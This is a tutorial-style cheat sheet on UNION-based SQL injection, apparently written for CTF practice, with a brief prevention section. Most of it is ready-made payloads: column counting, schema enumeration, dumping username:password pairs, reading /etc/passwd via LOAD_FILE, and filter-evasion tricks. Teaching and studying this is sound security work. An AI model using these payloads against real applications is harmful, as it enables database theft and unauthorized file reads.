UNION-Based SQL Injection

UNION-based SQLi appends a second SELECT to the original query. When the application returns query results to the page, the attacker's rows appear alongside (or instead of) the real data.

How UNION Works

-- Original query:
SELECT name, price FROM products WHERE id = 1

-- With UNION injection:
SELECT name, price FROM products WHERE id = -1
UNION SELECT username, password FROM users--
-- Returns: username and password from users table

Step-by-step exploitation (practical)

1. Find the number of columns in the original SELECT.

• Method A - ORDER BY: increment the index until the query errors. The highest working index is the column count.

  ?id=1 ORDER BY 1--  -> OK
  ?id=1 ORDER BY 2--  -> OK
  ?id=1 ORDER BY 3--  -> ERROR  => 2 columns

• Method B - UNION SELECT NULL: add NULL placeholders until the UNION succeeds.

  ?id=1 UNION SELECT NULL--            -> error
  ?id=1 UNION SELECT NULL,NULL--       -> works (2 columns)

2. Find which column(s) are reflected in the page.

• Inject marker strings into each column position and see which marker appears in the response.

  ?id=-1 UNION SELECT 'COL1','COL2'--

3. Make the UNION types compatible.

• If the application expects numeric columns, wrap values with casting or CONCAT so the types match.

  -- MySQL numeric column: convert strings to numbers (less common)
  ?id=-1 UNION SELECT 1,CAST('data' AS CHAR)--
  
  -- Safer: convert DB values to text so they display in string columns
  ?id=-1 UNION SELECT NULL,CAST(database() AS CHAR)--
  ?id=-1 UNION SELECT NULL,CONCAT(username,':',password)--

4. Enumerate schema and rows.

• Use information_schema to list tables and columns, then UNION the target columns into a reflected column.

  -- list tables (MySQL)
  ?id=-1 UNION SELECT NULL,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()--
  
  -- list columns in a table
  ?id=-1 UNION SELECT NULL,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='users'--
  
  -- dump rows with LIMIT/OFFSET
  ?id=-1 UNION SELECT NULL,(SELECT username FROM users LIMIT 1 OFFSET 0)--
  ?id=-1 UNION SELECT NULL,(SELECT username FROM users LIMIT 1 OFFSET 1)--

5. Merge multiple values into one column when only a single reflected column exists.

• Use CONCAT, GROUP_CONCAT (MySQL), string_agg (Postgres), or equivalent to join values.

  ?id=-1 UNION SELECT NULL,CONCAT(username,':',password) FROM users--
  ?id=-1 UNION SELECT NULL,GROUP_CONCAT(username,':',password SEPARATOR '\n') FROM users--

6. Iterate over rows with LIMIT/OFFSET or GROUP_CONCAT with LIMIT.

7. Always URL-encode and terminate payloads with comments (-- , #, /*) as appropriate for the target DB.

Finding column types and compatibility

• Some columns are numeric or date-only and will error when a string is injected. Test column compatibility by injecting expressions that only succeed for certain types (e.g., 1, CAST('x' AS CHAR), CONCAT('x','y')).
• Use CAST / CONVERT to coerce values into the expected type.

Example: if the second column is numeric, but you need to display text, cast the text to the column's type or force the DB to return text into a different column position.

?id=-1 UNION SELECT NULL,CAST(database() AS CHAR)--
?id=-1 UNION SELECT NULL,CONCAT(username,':',password)--

Dealing with filtered keywords and whitespace

• If UNION is filtered, try case variations (UnIoN) or comment-inserted splits (UN/**/ION). If SELECT is filtered, use SEL/**/ECT or function aliases.
• Replace spaces with comments (/**/) or URL-encoded whitespace when a simple space is blocked.

Database-specific examples and tips

-- String concat
SELECT CONCAT(username,':',password) FROM users

-- GROUP_CONCAT to return many rows in one field
SELECT GROUP_CONCAT(username,':',password SEPARATOR '\n') FROM users

-- Read local files (requires FILE privilege)
UNION SELECT NULL,LOAD_FILE('/etc/passwd')--

Practical enumeration patterns

• Use GROUP_CONCAT / string_agg to get many values with one request when allowed.
• Otherwise, extract rows one-by-one with LIMIT 1 OFFSET n (MySQL/Postgres) or TOP/ROW_NUMBER() patterns (MSSQL).

Example (row-by-row):

?id=-1 UNION SELECT NULL,(SELECT username FROM users LIMIT 1 OFFSET 0)--
?id=-1 UNION SELECT NULL,(SELECT username FROM users LIMIT 1 OFFSET 1)--

File reads and side-effects

• Some DBs allow reading local files (LOAD_FILE, OPENROWSET, xp_cmdshell), or writing files (INTO OUTFILE). These require elevated privileges and are often restricted in production but intentionally enabled in CTFs.

Example (MySQL):

?id=-1 UNION SELECT NULL,LOAD_FILE('/flag.txt')--

Use caution - side-effecting functions can trigger alarms in real environments.

Bypass techniques

• Use encoding (hex, CHAR()/CHR()), case variation, comments inside keywords, and whitespace tricks when filters block direct keywords.

Examples:

-- Hex for 'users'
WHERE table_name=0x7573657273

-- CHAR() style
WHERE table_name=CHAR(117,115,101,114,115)

Prevention and mitigation

• Use parameterized queries / prepared statements; never concatenate user input into SQL.
• Apply least privilege to DB accounts (no FILE, xp_cmdshell, etc.).
• Remove unnecessary information from error pages and avoid reflecting raw query results to end users.
• Web application firewalls can reduce noisy attacks but are not a substitute for secure coding.

See also

• SQL Injection - Basics
• Blind SQL Injection

Database-Specific Syntax

-- Comment styles
-- (double dash)
#
/**/

-- Information schema
FROM information_schema.tables
FROM information_schema.columns

-- Read files (requires FILE privilege)
UNION SELECT LOAD_FILE('/flag.txt'),NULL--

-- Version
SELECT @@version

-- All tables in one query
SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()

Filter Bypasses

Full Extraction Flow Example

-- 1. Find columns
?id=1 ORDER BY 3--      -- error at 3 → 2 columns

-- 2. Find visible column
?id=-1 UNION SELECT 'A','B'--   -- 'B' appears on page → column 2 is visible

-- 3. Get database name
?id=-1 UNION SELECT NULL,database()--

-- 4. Get tables
?id=-1 UNION SELECT NULL,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()--

-- 5. Get columns for 'secrets' table
?id=-1 UNION SELECT NULL,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='secrets'--

-- 6. Dump the flag
?id=-1 UNION SELECT NULL,flag FROM secrets--

Last updated on Aug 1, 2025